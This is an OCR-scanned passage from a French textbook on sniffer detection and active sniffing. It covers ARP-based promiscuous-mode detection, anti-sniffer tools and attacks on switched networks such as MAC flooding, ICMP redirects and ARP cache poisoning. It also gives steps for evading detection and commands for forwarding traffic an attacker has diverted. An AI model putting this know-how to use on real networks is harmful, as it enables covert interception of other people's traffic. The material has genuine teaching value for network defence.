— une requéte ARP : si une machine est en mode normal, lorsqu’elle recoit le
paquet TCP Syn piége dont le champ adresse destination IP au niveau de I’en-téte IP
correspond a sa propre adresse IP, elle va croire que la machine dont I’adresse IP IP-
Test veut converser avec elle. Comme aucune entrée correspondante a I’adresse 1P-
Test n’existe dans son cache ARP (voir phase 1), la machine cible enverra une
requéte ARP qui s’interroge sur I’adresse MAC qui correspond a IP-Test. Cette
machine ne peut donc avoir une carte en mode promiscuous ;

— un paquet TCP Syn/Ack : si une machine cible est en mode promiscuous et si
le port de destination dans I’en-téte TCP du paquet TCP Syn piége est égal a un port
ouvert dans la machine, lorsqu’elle regoit le paquet TCP Syn piége, elle générera un
paquet TCP Syn/Ack!l dont I’adresse destination MAC est égal & MAC-Test et
I’adresse destination IP est égal a IP-Test. Or, une question se pose : comment cette
machine a-t-elle pu avoir I’adresse MAC MAC-Test ? La seule explication est que

11. Idem.
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son cache ARP contient la fausse entrée IP-Test/MAC-Test. Donc, son cache ARP a
été corrompu lors de I’attaque de corruption du cache ARP durant la Phase 1. Par
conséquent, cette machine a une carte réseau en mode promiscuous ;

— un paquet TCP Reset : si une machine cible est en mode promiscuous et si le
port de destination dans I’en-téte TCP du paquet TCP Syn piége est égal a un port
fermé dans la machine, lorsque elle recoit le paquet TCP Syn piege, elle générera un
paquet TCP Rst (indiquant que la connexion TCP ne peut pas étre établie car le port
de destination n’est pas accessible)12. Ce paquet TCP Rst a un en-téte Ethernet dont
I’adresse destination MAC est égal a MAC-Test et a un en-téte IP dont I’adresse
destination IP est égale a IP-Test. Or, une question simple, comment cette machine a
pu avoir I’adresse MAC MAC-Test. La seule explication est que son cache ARP
contient la fausse entrée IP-Test/MAC-Test. Donc son cache ARP a été corrompu
lors de I'attaque de I’empoisonnement du cache ARP durant la phase 1. Par
conséquent, cette machine a une carte réseau en mode promiscuous.

La carte réseau La carte réeseau
en mode Promiscuous en mode Promiscuous
et le noyau du systeme et le noyau du systeme
Machine La carte réseau d’exploitation d’exploitation
de test en mode normal produit des réponses ARP ne produit pas des réponses ARP
S F— . .
. (=) () -
P h’] _fﬁ B =8, =,
‘ LAN »
T Requéte ARP ‘
T Paguet TCP Syn/Ack, ou Paguet TCP Rst
Paguet TCP Syn/Ack, ou Paguet TCP Rst

Figure 5.11. Détection des machines en mode promiscuous

En conclusion, une machine qui génere un paquet de réponse TCP avec les
fausses adresses MAC-Test et IP-Test respectivement comme adresse destination
MAC et adresse destination IP, a sirement la carte en mode promiscuous. Son cache
ARP contient la fausse entrée IP-Test/MAC-Test. Cette fausse entrée a été créée
suite a I’attaque de corruption du cache ARP durant la phase 1.

Cependant, une machine dont le cache ARP n’est pas corrompu générera une
requéte ARP dans le but de rechercher I’adresse MAC qui correspond a la fausse
adresse IP IP-Test. Si un tel paquet est recu, la carte réseau de la machine émettrice
n’est pas en mode promiscuous.

12. Idem.
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Il est important de noter que si la machine cible autorise la génération des
réponses ARP a la suite de la réception de requétes ARP, la méthode du ARP
améliorée suffit pour détecter le mode promiscuous. Ainsi, on utilise dans un
premier temps la méthode du ARP améliorée. Si cette méthode ne donne pas de
résultat, on utilise alors la méthode de corruption du cache ARP.

5.4. Les outils de détection des sniffers : les anti-sniffers

Les outils de détection des sniffers, appelés anti-sniffers, utilisent pratiquement
la plupart des techniques de détection décrites dans ce chapitre. Cependant, la
détection basée sur I’attaque de corruption du cache ARP n’est implémentée que
dans Advanced AntiSniffer, que nous avons développé personnellement. Les anti-
sniffers les plus connus sont listés dans le tableau ci-dessous avec leurs adresses.

. . Méthode - :
Sniffers Systéme de détection Site ou e-mail
Promiscan Windows ARP http://www.se(;urltyfrlday.com/
products/promiscan.html
PMD Windows ARP http://webteca.port5.com
DNS {habdelallahElhadj,mkortebi}
. . abdelallahElhadj,mkortebi
SnifferWall | Windows | ARP @mail.cerist.dz, khelalfa@wissal.dz
Pot de miel
DNS
Advanced . ARP trabelsi.zouheir@supcom.rnu.tn
L Windows La latence .
anti-sniffer ) zouheir20012001@yahoo.com
L’attaque du
cache ARP
DNS
- Windows ARP http://anticode.antionline.com
AntiSniff -
et Linux La latence ftp://ftp.ntua.gr
Le ping ICMP
DNS
. . ARP .
Sniffdet Linux http://sniffdet.sourceforge.net/
La latence
Le ping ICMP
. . http://build.Inx-bbc.org/packages/
Desniff Linux ARP net/DeSniff.html
Neped Linux ARP http://www.apostols.org

Clique ici pour plus de livres : https://t.me/formations8


http://www.securityfriday.com/
http://webteca.port5.com/
mailto:khelalfa@wissal.dz
mailto:trabelsi.zouheir@supcom.rnu.tn
mailto:zouheir20012001@yahoo.com
http://anticode.antionline.com/
ftp://ftp.ntua.gr/
http://sniffdet.sourceforge.net/
http://build.lnx-bbc.org/packages/
http://www.apostols.org/
https://t.me/formations8
https://t.me/formations8

Clique ici pour plus de livres : https://t.me/formations8

186 L’espionnage dans les réseaux TCP/IP

Dans ce qui suit, nous détaillerons PromiScan, AntiSniff ainsi que Advanced
AntiSniffer.

5.4.1. PromiScan

PromiScan, développé par Daiji Sanai de Security Friday, est un anti-sniffer qui
se base sur la méthode du ARP13. Il est I’'un des outils mentionné dans la liste
SANS/FBI Top 20 des 20 meilleurs outils pour I’année 2003.

PromiScan permet de détecter les machines qui exécutent des sniffers. Cet outil
est le premier outil a avoir utilisé les fausses adresses de broadcast. Lors du
scanning des machines, PromiScan utilise par défaut les fausses adresses de
broadcast (B31, B16 et B8) et I’adresse bit de groupe (Gr) :

B31 = FF:FF:FF:FF:FF.FE (B31 correspondant a I’adresse B47 dans ce chapitre)
B16 = FF:FF:00:00:00:00

B8 = FF:00:00:00:00:00

Gr = 01:00:00:00:00:00

Egalement, PromiScan utilise comme option les adresses de multicast MO, M1
et M3:

MO = 01:00:5E:00:00:00
M1 =01:00:5E:00:00:01
M3 = 01:00:5E :00:00:03

L’utilisateur de PromiScan peut définir de nouvelles adresses MAC dans les
champs SP1 et SP2 (voir écran ci-dessous). Ces adresses seront également utilisées
pour détecter les cartes en mode promiscuous. Il est important de noter qu’une
machine répond a une requéte ARP, avec I’une des adresses destination MAC SP1
ou SP2, ne signifie pas qu’elle exécute un sniffer. C’est I’utilisateur qui doit faire les
décisions adéquates concernant I’exécution ou non de sniffers dans ces machines.

13. www.securityfriday.com.
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~Oven Po |

hetwark LF ]DeviceWPF_{84¥DBF53-1 CEB-491 :~:I
IP &dddress 17216162

MAC Address ]UU 11 2233 44 55

~Scan Option T Showall —
¥ Br WMBx [ B6 WB3 [ Gr
w0 [ M1 T M3
== I

[ =Pz I

Detault

(" IEEE 8023 (Mark: aix)

Intersal |3 s Packet Mum. |3

~External Command-
Command Line :
|omet i niststat -2, $IP

[8IP:

(« Ethernet (Mark : Q<)

¥ Fast Mode

i

BMAC I MAC Address ]

Cloze

L’écran ci-dessous est I’interface graphique (GUI) de PromiScan. Par exemple,
apres le scanning du réseau de plage d’adresses 172.16.16.1 — 172.16.16.25, I’écran
signale que la machine d’adresse 172.16.16.20 répond aux paquets de fausses
adresses de broadcast B31 (ou B47) et B16. En se référant & la méthode du ARP
amélioréel4, la machine 172.16.16.20 est donc en mode promiscuous.

IF Address

| promiscan =lo x|
File Setup Help
.
P Range Start 5 ';:','
From [172.16.16.1 Ta [1721616.25 5,7,
I I Stop | Clesr | ’ F s
IF Address Mac address  |Br |31 [BisEs [er [wo [m1 [ms [s1 [s2 [vendor -
17216461 00:0%:0F-050236 O 0 =
17216165 \DOOTESDCOZID O _ 0 Inted Corparstion
17216165 |00:50:EADZDRAY O s (s D-LInK
172161617 00:30:4F:2261:83

56

PLAMET Technology Corporatlon

EEE---E--- PLANET Tech

172161622 00:07:E9:04:1 &5 Intel Corporation

-
4] | _>I_I
| READY | | | |

14. Voir, plus haut, paragraphe 5.3.8.
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5.4.2. LOpht AntiSniff

C’est un ancien outil qui est capable de détecter les sniffers exécutés sous
d’anciennes versions des systéemes d’exploitation (tels que Windows 98 et Windows
95) en utilisant principalement les méthodes DNS, ARP et ping ICMP.

LOpht AntiSniff utilise deux modes de détection, a savoir les techniques liées aux
systémes d’exploitation et les techniques du calcul de latence (écran ci-dessous).

Sy Untitled - LOpht AntiSniff v1.02.1 =1al=l
JEiIe Yiew Tools HB|D|JJD@E|’?E|’".|® |E ?ﬂ%ﬂﬂf@|

“;-i'dL Mebwark. Configuration @ Seanner Canfiguratian IIII Scan Proglessl Heportsl iy Alarmsl

r~ Detection Test Schedule

[V DNS Test ' Mow

[v ARF Test £ Conlinuously ' ait ISD sBCs.

| Ether Fing Test " Hourly

[¥ ICMP Time Dela Test C paiy 124550 =
Humber Of Packsts: I—m = wieeklp m

™ Echo Test
Mumber OF Packsts: |—1D [~ Log Test Text Output

[V Ping Drop Test
Mumber Of Packets: 200 Lol I El

I™ | ippend Date/Time

Ready ’_ ’_ ’_ A

5.4.3. Advanced AntiSniffer

Advanced AntiSniffer est un anti-sniffer développé par nos soins et qui se base
sur les méthodes de détection suivantes (écran ci-dessous) :

— la méthode du ARP améliorée ;

— la méthode de I’attaque du cache ARP ;
— la méthode de latence ;

— la méthode du DNS.
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Cet outil est le premier a utiliser la méthode de I’attaque de corruption du cache
ARP. Comparé aux autres anti-sniffers disponibles, il peut &tre considéré parmi les
anti-sniffers les plus performants.

£2 Advanced AntiSniffer Elilg
File Options ?
ARP DETECTION Method | CACHE POISONNING Method | LATENCY Method | DNS Method |

Configuration

Source [P (Fake/Reall: 0.0 1 3 [%

Destinatian IP: From | 0.0 .11 124 To ‘ W, 0 11126

Broadcast Mlticast

Destination Mac @or Opig OB OB oMl OMI OMz OMI Q&

HE& Destination MAC : BA7=FF:FF FF:FF:FF:FE
Suspicious Machines S Ciie Here
IP MAC [
10011124 00:08:aT 4c B40F Analysing with : B47 l:l
Operation: W aiting For &RP REPLY... STOP
Sending: CLEAR
100z

5.5. Leurrer les anti-sniffers : les anti-anti-sniffers

Les anti-sniffers fonctionnent comme la plupart des outils de détection, et ils sont
loin d’étre parfaits. Il existe déja plusieurs méthodes pour leurrer les anti-sniffers en
rendant les sniffers indétectables. 1l est important de savoir paramétrer correctement
un sniffer pour écouter le trafic entrant et étre totalement passif. En outre, le filtrage
du trafic entrant et/ou sortant permet de rendre inopérantes plusieurs techniques de
détection. Dans ce qui suit, nous citerons quelques démarches a réaliser pour rendre
les sniffers indétectables par les anti-sniffers :

— ne pas générer de requétes DNS. Pour ce faire, il faut désactiver I’option
« DNS resolving » dans les sniffers ;

— ne pas générer de réponses ARP. Dans ce cas, il faudrait choisir I’une des
méthodes suivantes :

- modifier le noyau du systeme d’exploitation pour ne plus générer des
réponses ARP. Ceci n’est possible qu’avec les systemes d’exploitation libres (open
source), par exemple Linux. Le fichier « /linux/net/ipv4/arp.c » dans Linux contient
le code du protocole ARP,

- désactiver le protocole ARP. Par exemple sous Linux, exécuter la commande
« ifconfig ethO -arp » permet de désactiver complétement le protocole ARP de la
pile TCP/IP et par conséquent empécher la carte réseau de répondre aux requétes
ARP. Le cache ARP de la machine n’a aucune entrée et donc la machine ne peut
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plus dialoguer avec le réseau mais elle peut exécuter un sniffer. Ceci peut mettre
cette machine en position suspecte puisqu’elle est présente sur le réseau alors qu’elle
ne répond pas aux requétes ARP. Sous Windows, il n’existe pas de commande en
line permettant de désactiver le protocole ARP,

- utiliser un firewall pour filtrer les paquets ARP entrants et sortants, par
exemple le firewall Kerio Personal Firewall, http://www.kerio.com ;

— utiliser un noyau mis a jour ou modifié pour corriger le probleme mentionné
pour la plupart des systémes d’exploitation concernant le filtrage logiciel des fausses
adresses de broadcast!® et de multicast. Ainsi le filtre logiciel du noyau du systéme
bloquera tout paquet avec de telles fausses adresses ;

— bloquer tout le trafic entrant et sortant de telle sorte la machine exécutant le
sniffer soit déconnectée complétement du réseau. Donc, pratiquement toutes les
méthodes de détection, notamment la méthode du ARP, la méthode du DNS, la
méthode de latence, la méthode de I’attaque du cache ARP, ne permettent plus la
détection des sniffers. Ceci peut se faire simplement grace a un firewall personnel
installé dans la machine qui exécute le sniffer. L’écran ci-dessous montre, par
exemple, comment le firewall Kerio peut bloquer tout trafic ;

— cesser le sniffer quand le trafic réseau excéde un certain taux. Ceci peut étre
une indication qu’un anti-sniffer est en train d’injecter du trafic dans le réseau
lorsqu’il utilise la méthode de latence.

=lofxj

= Confiante Irdeered
s Evhonie | Sodarie | Enionls | Sodars |
] Apphcations Services et Cantrdlew ¢ refuser  of autoi. € refuser  f sutori.
] Appbcation darvertae de session Windows NT ® refuser o autori.,  3C refuser o suton
28 Mictosolt File and Printes Sharng o refuser o sulor. O rehuser o suton
[T Exdeutable LS4 61 DLL seivew [version dexporation] R eefuser o auloni. € refuzer o aulod
E Auties apphcaions % mhuer o autor. 3¢ eefuser o sutoi

i Actives e tralic

& Le bafic et
andad

15. Notamment I’adresse de Broadcast B47.
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Un sniffer appelé Anti AntiSniffer Snifferl6 a été réalisé juste aprés la sortie
d’Antisniff. Ce nouveau sniffer utilise quelques-unes des techniques précitées pour
éviter d’étre découvert par AntiSniff ou un outil similaire.

Dans I’attente d’un anti-anti-anti-sniffer, il ne nous reste qu’a croiser les doigts.

5.6. Résumé du chapitre 5

Dans un réseau Ethernet partagé, la mise en mode promiscuous d’une carte
réseau permet a un sniffer de capturer tout le trafic. Une carte fonctionnant en mode
promiscuous est donc un indice de la présence d’activité de sniffing dans la machine
en question.

Ce chapitre a présenté les différentes techniques de détection du mode promiscuous
des cartes réseau, notamment les méthodes DNS, latence, ARP et attaque du cache
ARP. Lors de la détection des sniffers, nous suggérons la combinaison d’au moins
deux techniques dont I’une est indépendante du systéme d’exploitation et de la pile
TCP/IP, telle que la méthode de latence.

Etant donné que plusieurs techniques de détection sont documentées et largement
connues des pirates professionnels et vu la disponibilité de systemes d’exploitations
avec des codes sources libres (open source), tels que Linux, les pirates peuvent
facilement modifier les noyaux de ces systémes pour rendre ces techniques de
détection inefficaces et par conséquent mettre en place des sniffers indétectables par
les anti-sniffers courants. Cependant, la plupart des activités de sniffing dans les
réseaux se font par des personnes pas assez au courant des techniques de détection
des sniffers et qui n’osent pas manipuler les noyaux des systémes d’exploitations
faute de compétence. Par conséquent, la détection des sniffers par les techniques
exposées dans ce chapitre reste encre tres efficace la plupart du temps.

16. Disponible & I’adresse : http://online.securityfocus.com/tools/336.
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CHAPITRE 6

Les sniffers
dans les réseaux commutés

6.1. Introduction

Lorsqu’on veut interférer dans le trafic dans un réseau local, la premiére idée qui
vient a I’esprit est de se mettre en écoute passive, soit de passer son interface réseau
Ethernet en mode promiscuous. Au moyen de sniffers comme Sniffer Pro ou
Ethereal, on parvient a lire le contenu de tous les paquets qui circulent sur un
segment Ethernet. Si cette technique est simple a mettre en ceuvre mais extrémement
difficile a détecter quand le mécanisme d’écoute et de capture est mis en place dans
une totale passivité, elle se trouve trés vite confrontée a ses propres limites. Sur un
réseau commuteé, chaque machine ne regoit que les trames destinées a elle ou les
trames de broadcast et de multicast. De ce fait, I’utilisation de plus en plus courante
des commutateurs réduit la portée d’une telle activité d’écoute et de capture aux
seules trames destinées a la station espionne. Ainsi, tout le monde en conviendra
qu’elle présente peu d’intérét. Nous devons donc trouver mieux...

En théorie, il est impossible de sniffer dans un réseau commuté puisque chaque
machine sur le segment Ethernet ne recoit que les paquets qui lui sont destinés. Mais
tout cela a changé depuis la création de Dsniff par le dénommé Dug Song?. Avec un
programme de déviation (redirection) de trafic et de retransmission des paquets IP,
un attaquant peut sniffer n’importe quelle machine sur le réseau local commuté. On
parle ainsi de sniffing actif puisque I’attaquant n’écoute plus passivement le trafic
transitant mais il génére de faux paquets et redirige le trafic.

1. CITI — Center for Information Technology Integration, de I’Université de Michigan,
http://www.citi.umich.edu.
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Les dégats du sniffing actif sont considérables. En outre, peu d’administrateurs
réseaux connaissent ce type d’attaque et prennent la menace au sérieux. Dans les
sections qui suivent, nous allons expliciter des différentes techniques de sniffing
dans un réseau commuté. Enfin, nous évoquerons les sniffers actifs des réseaux
commutés disponibles sur Internet, notamment Dsniff.

6.2. Les commutateurs : rappel

Dans un réseau Ethernet commuté, toutes les machines sont reliées a un
commutateur réseau?. L’aspect extérieur d’un commutateur est comparable & celui
d’un hub3.

Les réseaux partagés a base de hub comportent quelques désavantages. D’abord,
toutes les cartes réseau regoivent la totalité des trames envoyées sur celle-ci. Un
trafic supplémentaire est ainsi créé qui ralentit les performances du réseau global.
Les réseaux commutés sont apparus, entre autres, pour pallier ce défaut. Dans un
réseau, toutes les stations sont reliées a un commutateur qui se charge d’envoyer les
trames qu’il recoit aux bons destinataires. Chaque machine est connectée au
commutateur sur un port. Ainsi, seuls les destinataires d’une trame la recoivent, et
les autres machine n’y ont pas acces.

Afin de toujours envoyer les trames aux bons destinataires sur le réseau, les
commutateurs utilisent une table de correspondances entre les ports auxquelles les
stations sont connectées et leurs adresses MAC. Cette table est appelée table de
commutationt. C’est une mémoire interne du commutateur. Le contenu de la table
est mis a jour dynamiquement chaque fois qu’une nouvelle station se connecte a un
port libre ou une station déja connecté au commutateur change de port, par exemple.
Si le commutateur recoit une trame dont le destinataire lui est inconnu, autrement
dit, s’il n’y a pas de correspondance pour le destinataire de la trame, il peut agir
comme un répétiteur (hub) et envoie la trame sur tous ses ports ou la détruit. Ceci
dépend du type du commutateur.

Ainsi, lorsqu’une trame est envoyée sur le réseau (autrement dit, dans le
commutateur), celui-ci compare I’adresse MAC du destinataire de la trame avec sa
table afin de trouver une correspondance possible. Il envoie ensuite la trame dans le
ou les port(s) correspondant(s) au(x) destinataire(s).

2. Généralement connu sous le nom de switch.

3. Voir chapitre 1.

4. Dans la terminologie Cisco, leader mondial dans la construction d’équipement réseaux, elle
est appelée table CAM (content addressable memory).
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Les commutateurs permettent évidemment d’accélérer les performances du
réseau, mais ils améliorent également sa sécurité. En effet, dans un réseau Ethernet
commuté, vu que toutes les trames ne passent pas devant toutes les cartes réseau, un
utilisateur malveillant situé sur le méme réseau ne peut pas espionner un trafic qui
ne lui est pas destiné. Chaque utilisateur du réseau recoit seulement les trames qui
lui sont envoyés. Or, nous verrons dans ce chapitre qu’il existe des techniques
d’attaque qui favorisent des activités de sniffing dans un réseau commuté. C’est le
sniffing actif.

6.3. Les techniques du sniffing dans les réseaux commutés

Les sniffers des réseaux commutés® profitent des vulnérabilités présentes dans
les protocoles de la pile TCP/IP et plus précisément dans le protocole ARP.

Dans les paragraphes suivants, nous décrirons les techniques les plus communes
du sniffing dans un réseau commuté :

— le switch jamming ;

— la déviation avec un paquet ICMP ;

— la configuration du port moniteur/SPAN ;

— la manipulation des tables de communication (les tables CAM) ;
— la manipulation des caches ARP.

6.3.1. Le switch jamming

Quelques anciens commutateurs peuvent étre transformés en mode répétiteur
(repeating mode) ou toutes les trames sont en diffusion (broadcast) continue sur
tous les ports. L’opération est réalisée en inondant les tables de commutation avec
une multitude de paquets dotés de fausses adresses MAC. En termes de sécurité,
ceci est connu sous le nom « Fail open »5, signifiant qu’au moment ol le dispositif
échoue, les dispositions de sécurité sont supprimées. A la base, les commutateurs ne
sont pas vraiment congus dans un esprit de sécurite.

La fonction macof de Dsniff’ tente de passer les commutateurs au mode
répétiteur (hub). Elle inonde le commutateur de réponses MAC falsifiées (spoofed
MAC replies flooding) a une vitesse tellement rapide que la table de commutation du
commutateur se trouve engorgée. Les résultats changent selon la marque, mais

5. Appelés également sniffers actifs.
6. Par opposition a « fail close ».
7. Voir plus loin dans ce chapitre.
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guelques anciens commutateurs se changent en mode de diffusion (broadcast) a ce
moment-la. Le sniffing peut alors étre exécuté.

Cependant, d’aprés les résultats d’une expérience réalisée par Jonathan Wilkins8,
sur plusieurs commutateurs récents, aucun des commutateurs testés n’est passé au
mode répétiteur aprés son inondation par du faux trafic. Par conséquent, cette
technique ne peut fonctionner qu’avec les anciens commutateurs.

6.3.2. La déviation avec un paquet ICMP

Un message ICMP de déviation (type = 5) peut étre transmis par une passerelle
vers une machine reliée au méme réseau pour lui signaler que la route n’est pas
optimale et qu’il faut changer de passerelle. L’adresse IP de la nouvelle passerelle
est fournie dans I’en-téte ICMP du message ICMP de déviation. Une fois la
redirection effectuée, les paquets seront acheminés vers la passerelle appropriée.

En utilisant le générateur de paquet du sniffer CommView, I’écran suivant est
généré. Il montre le contenu d’un paquet ICMP de déviation (type = 5) signalant a la
machine d’adresse IP 172.16.16.20 qu’elle doit changer I’adresse de sa passerelle.
Ce méme paquet contient, dans I’en-téte ICMP, I’adresse IP de la nouvelle passerelle
(gateway Internet address), a savoir : 172.16.16.2. Aprés quoi, la machine d’adresse
IP 172.16.16.20 va envoyer tout son trafic, destiné a I’extérieur du réseau, vers la
nouvelle passerelle d’adresse IP 172.16.16.2.

Une attaque consiste a envoyer un paquet ICMP de type déviation a une machine
cible afin de dévier I’adresse IP de sa route. L’agresseur pourra utiliser un
générateur de paquet, comme celui de CommView, pour préparer le faux paquet
ICMP de redirection et I’envoyer a la machine cible. L’agresseur mettra son adresse
IP comme adresse IP de la nouvelle route de telle sorte que la machine cible utilisera
désormais cette route. Par conséquent, la machine de I’agresseur va recevoir tout le
trafic émis par la machine cible. Dans ce cas, la machine cible peut réaliser une des
deux attaques suivantes.

La premiére attaque consiste & lire le trafic recu et ensuite a le renvoyer a sa
destination réelle. Donc, I’agresseur va procéder a une écoute passive. Pour ce faire,
la machine de I’agresseur doit activer le routage IP.

8. http//www.bitland.net/taranis.
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B send Packets via Intel{R} PRO,/100 ¥ ] 3]
[l Etheme IT Ox00: 00 0% OF 08 0z 23 00 0z A5 B6 E3 82 08 00 45 00
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Packet Generator
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Pour activer par exemple le routage IP dans une machine avec le systéme
Windows 2000/XP, la valeur allouée au registre IPEnableRouting doit étre 1 (écran
ci-dessous). Par défaut, le routage IP est désactivé lorsque la valeur du registre
IPEnableRouting est égale a 0. Le chemin du registre IPEnableRouter dans
Windows 2000/XP est: « HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
Services\Tcpip\Parameters ».

' Editeur du Registre ;IQILI
Reqistre  Edition  Affichage Fawvoris 7

D SymEwvent ;I Mom | Type | Données

R R (par défaut) REG_SZ {waleur non définie)

{3 svMIDs (@] allowlnqualfiedq... REG_DWORD 0x00000000 (T)
8 symmsco [ab]DataBasepath REG_EXPAND_SZ HuSystemRook%|Sy:

A3 symlcbrd [R¥]DeadGWDetectD..,,  REG_DWORD 0x00000001 (1)

2 SYMMDIS : )
& STvREDRY [2B]amain REG_SZ

3 sviDL DontAddDefaultG... REG_CWORD 000000000 {07
D sysaudio EnableICMPRedirect REG_CWORD 000000001 {1}
23 sysmonLog EnabIeSecurityFiIt... REG_DWORD 000000000 {0}
ForwardBroadcasts REG_DWORD 000000000 {0}
Hostname REG_SZ campag
{IPEnableRouter REG_CWORD 000000001 {1}
NameServer REG_SZ
E| a Parameters NV Hoskname REG_SZ campag
{7 Adapters PrioritizeRecordData REG_DWORD 000000001 (1)
i | DNSRegisterJ [ab]searchList REG_SZ
{1 Interfaces [R¥]UseDomainame...  REG_DWORD 000000001 {1}

D PersistentRc

20 Winsock -
[ 3 1| | |
4

|Poste de travaillHKEY_LOCAL_MACHIMELSYSTEMCurrentControlSet)Services) TepipiParameters
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La commande « ipconfig /all » permet de savoir si, dans une machine Windows,
le routage IP est activé ou non :

Pour activer le routage IP sur Windows 98/Me, le registre « EnableRouting »
doit étre égal a 1. Et son chemin est: « HKEY_LOCAL_MACHINE\SYSTEM\
CurrentControlSet\Services\VXD\MSTCP\ ».

Pour activer le routage IP dans Windows 2003 server, a partir du panneau de
configuration, il faut sélectionner « Outils d’administration », ensuite « Routage et
acces distant ». Puis choisir un serveur et dans le menu contextuel sélectionner
« Configurer et activer le routage et I’accés distant ». Les menus qui suivront
guident la suite de la procédure.

La commande « sysctl -w net.inet.ip.forwarding=1 » permet d’activer le routage
IP dans une machine avec le systeme FreeBSD. Dans Linux, pour activer le routage
IP temporairement jusqu’au prochain démarrage du systeme, il faut taper : « echo 1
> /proc/sys/net/ipv4/ip_forward ». Pour activer le routage IP de fagcon permanente, il
faut éditer le fichier «/etc/sysconfig/network » et changer ou ajouter la ligne
suivante : FORWARD_IPV4 = YES.

La seconde attaque possible consiste a détruire le trafic recu causant un état de
déni de service dans la machine victime, puisqu’elle ne peut plus communiquer avec
le réseau®.

Il est important de noter que cette technique ne permet pas de rediriger le trafic
d’une connexion entre deux machines du méme réseau local puisque le trafic
échangeé ne passe pas par la passerelle. Par contre, la technique permet de rediriger le
trafic d’une connexion entre une machine du réseau local et une machine située sur
un autre segment réseau étant donné que, dans ce cas, le trafic échangé doit passer
par la passerelle.

9. Nous avons détaillé ce type d’attaque dans le chapitre 4.
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6.3.3. La reconfiguration du port moniteur/SPAN

La plupart des commutateurs permettent a des ports d’étre configurés en tant que
port moniteur (ou « SPAN ») et de copier une partie ou la totalité du trafic transitant
par le commutateur. Si une machine est connectée a ce type de port, elle sera en
mesure de capturer partiellement ou totalement le trafic du réseau. En fait, ces ports
sont congus pour exécuter des sniffers de paquets lorsque I’administrateur réseau
doit résoudre un probléme.

Beaucoup de commutateurs sont installés par défaut. Un intrus peut donc faire un
Telnet sur le commutateur ou le reconfigurer avec le protocole SNMP0 dédié a la
gestion des équipements et au diagnostic des problémes de réseau.

6.3.4. La manipulation des tables de commutation (les tables CAM)

Comme nous I’avons vu, une trame Ethernet dispose d’un champ pour I’adresse
source MAC et d’un autre champ pour I’adresse destination MAC. Ces champs sont
examinés par les commutateurs Ethernet, d’une part pour choisir le port sur lequel
ils vont envoyer une trame recue par examen de I’adresse destination MAC, et
d’autre part pour mettre a jour la table de commutation par examen de I’adresse
source MAC. Cette table contient pour chaque port les adresses MAC des machines
qui y sont connectées. Le contenu de cette table est mis a jour dynamiquement
chaque fois qu’une nouvelle machine se connecte a un port libre ou qu’une machine
déja connectée au commutateur change de port, par exemple.

L’usurpation d’adresse MAC vise a forcer le commutateur, en se servant de la
procédure de mise a jour, a croire que la station espionnée se trouve sur le port de la
machine espion.

Le principe est simple: I’envoi d’une trame avec pour adresse source MAC
I’adresse MAC de la victime. En recevant cette trame, le commutateur met sa table a
jour en associant I’adresse MAC de la victime au port de I’agresseur. Des lors,
I’intégralité du trafic est redirigée vers le port de la machine du pirate qui n’a plus
qu’a le lire tranquillement (figure 6.1 et figure 6.2). Ce mode est appelé le mode
concentrateur limité (limited hub mode).

10. SNMP (simple network management protocol).
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Machine cible

Machine de
l'agresseur
La table de commutation
(Table CAM)
Adresse MAC Port
MAC de la machine de I'agresseur Port 1
MAC de la machine cible Faort 2

Figure 6.1. La table de commutation avant I’attaque

Machine cible
i)’

Machine de
IFagresseur
La table de commutation
(Table CAM)
Adresse MAC Port
MAC de la machine de l'agresseur FPort 1
MAC de la machine cible Port 1

Figure 6.2. La table de commutation aprés I’attaque
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Bien qu’elle semble trés séduisante, cette technique est trés limitée. D’abord
parce que la victime émet encore des paquets, ce qui place le commutateur face a
une situation conflictuelle : il recoit la méme adresse MAC sur deux ports différents.
Selon le matériel utilisé et sa configuration, la réaction va d’une mise a jour
systématique de la table par le dernier paquet recu a une désactivation administrative
du port usurpant I’adresse. Pour étre efficace, cette technique met hors circuit la
victime par déni de service car elle empéche la redirection du trafic vers son
véritable destinataire, puisque son adresse MAC sera forcément aiguillée sur le port
de I’attaquant. Cette technique est donc inutilisable pour écouter une connexion
entre deux hotes. Mais, elle est trés intéressante dans le cas d’attaque de déni de
service. La machine victime ne pourra plus communiquer avec le réseau. Enfin,
lorsque les commutateurs sont configurés pour utiliser une table de commutation
statique renseignée par I’administrateur, tout changement d’adresse MAC est
immeédiatement détecté, le port désactivé et I’administrateur alerté.

Un fait intéressant peut cependant étre exploité. Certains anciens commutateurs
réagissent mal a de nombreux conflits d’adresse MAC en passant en mode répétiteur
(ou mode hub), se conduisant alors comme des hubs. Ce comportement est aussi
obtenu par saturation de la table de commutation sur certains modéles de
commutateurs. La durée de cet état varie de quelques minutes suivant la disparition
des anomalies, a plusieurs jours, voire un redémarrage de I’équipement.

Création d’une double entrée pour la méme adresse MAC

Si I’on arrive a créer dans la table de commutation une double entrée pour
I’adresse MAC de la machine cible, tout le trafic destiné & cette machine sera alors
capturé sans causer de DoS. Par conséquent, la machine cible continuera a
communiquer normalement avec le réseau sans signaler que son trafic est en train
d’étre espionné par une autre machine. Ainsi, le contenu de la table de commutation
de la figure précédente devient :

Adresse MAC Port
MAC de la machine de I’agresseur Port 1
MAC de la machine cible Port 2
MAC de la machine cible Port 1

Or, la création d’une double entrée pour une méme adresse MAC dans la table de
commutation n’est pas autorisée par la plupart des commutateurs, notamment les
nouveaux modeles. Le résultat de I’expérience réalisée par Jonathan Wilkins!! sur

11. http://www.bitland.net/taranis.
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plusieurs nouveaux commutateurs confirme qu’aucun ne permet la transmission
d’une trame sur plusieurs ports.

6.3.5. Les techniques de manipulation des caches ARP

Le niveau de danger que présentent les sniffers actifs est beaucoup plus
important que celui des sniffers passifs (le mode promiscuous). En effet, les sniffers
passifs se contentent de faire une copie de chaque paquet capturé. En revanche, les
sniffers actifs redirigent le trafic et ont la possibilité de modifier et méme de ne pas
acheminer le trafic a sa vraie destination. Ceci est réalisé grace a des attaques de
corruption des caches ARP dans un réseau commuté.

6.3.5.1. La corruption du cache ARP (ARP cache poisoning)

Devant la limitation des techniques précédentes, notamment la technique de la
manipulation des tables de commutation, en termes de détournement de trafic dans
les réseaux commutés, les hackers s’attaquent au mécanisme qui permet de faire la
correspondance entre les adresses MAC et les adresses IP : les caches ARP.

Le but du hacker est d’agir directement sur le cache ARP de la machine cible,
indépendamment des requétes ARP que cette machine pourrait étre amenée a
émettre. L objectif principal d’une telle action est de pouvoir détourner et capturer
tout le trafic destiné et issu de la machine cible. Pour y parvenir, deux opérations
doivent étre exécutées au préalable : i) la création d’une entrée dans le cache ARP et
